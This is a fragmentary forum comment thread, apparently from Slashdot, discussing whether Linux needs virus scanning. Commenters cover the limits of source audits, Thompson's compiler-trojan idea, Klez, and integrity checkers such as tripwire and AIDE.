And why worry about downloading binaries? Even if you don't scan them for viruses, others do.
But that's what all the others think too (Score:2)
Re:Use the source Luke! (Score:5, Informative)
url: http://online.securityfocus.com/archive/1/274927
Re:Use the source Luke! (Score:2)
Re:Use the source Luke! (Score:2, Insightful)
Re:Use the source Luke! (Score:5, Insightful)
You forgot to include "and completely understand" in the above quotation.
We all know (I'm sure) that the function of a routine isn't always obvious. And especially if someone is trying to hide a routine, the functionality could be made very un-obvious.
A complete source code audit for any major application would be far more labourious than any individual would have the time to undertake in most circumstances.
Re:Use the source Luke! (Score:3, Insightful)
Re:Use the source Luke! (Score:2)
Just take a look at this article [acm.org] for proof. Basically, the trojan doesn't even show up in the source code at all, but it still exists.
What about compiler infection? (Score:2, Informative)
It's a little different from standard virus infection, but the techique could be easily modified. Here's [susx.ac.uk] a short description of the technique, and here's [acm.org] the full text of the speech (with slides).
Re:Use the source Luke! (Score:3, Insightful)
Not hardly. Look at how something like Klez works..it can infect a system through vulnerabilities in Web browsers if you check your e-mail through a Web interface. It's only a matter of time until viruses and worms with similar abilities move to Linux and OS X. The only reason they haven't done so yet isn't superior security, it's the fact that Windows systems are the best targets since there are so many. Why infect a few Linux boxen when you can infect tens or hundreds of thousands of Windows machines with the same effort?
Re:Use the source Luke! (Score:4, Insightful)
In case you were wondering, he's posting from a machine running the Linux kernel, version 1.1, which he just recently finished checking.
In a bitter case of irony, I screwed with his compiler to make that kernel bundle in a trojan.
Re:How to scan Linux (Score:3, Informative)
Re:How to scan Linux (Score:3, Informative)
I haven't used it in so long that I can probably throw it away: last time must have been 1997 or so ;)
Re:How to scan Linux (Score:3, Insightful)
You do what you should be doing anyway. You run tripwire [tripwire.com] or AIDE [cs.tut.fi]. There is a free version of tripwire for linux, it probably came with your distribution. It *is* a slight pain to setup, mostly because of things like logrotated, but well worth the pain. AIDE I have no experience with because I am satisfied with tripwire. They both do effectively the same thing.
These products don't just "scan for virii", they check that the system is in the state you think it is in. If the system changes, you get a notification saying exactly what changed.
This lets you know if your box has been compromised, or infected, or even if the hard drive is starting to flake out.
Running tripwire/AIDE is just a good thing.
Re:How to scan Linux (Score:5, Informative)
The nice thing about this scanner is that it can both check for linux and windows viruses, and that it shares the regulary updated virus definition files for DOS/Windows.
Re:No one has ever been infected? (Score:2)
it probably means that the first reports of the virus came from a non-symantec customer, and they just found out about it elsewhere.
Re:No one has ever been infected? (Score:2, Informative)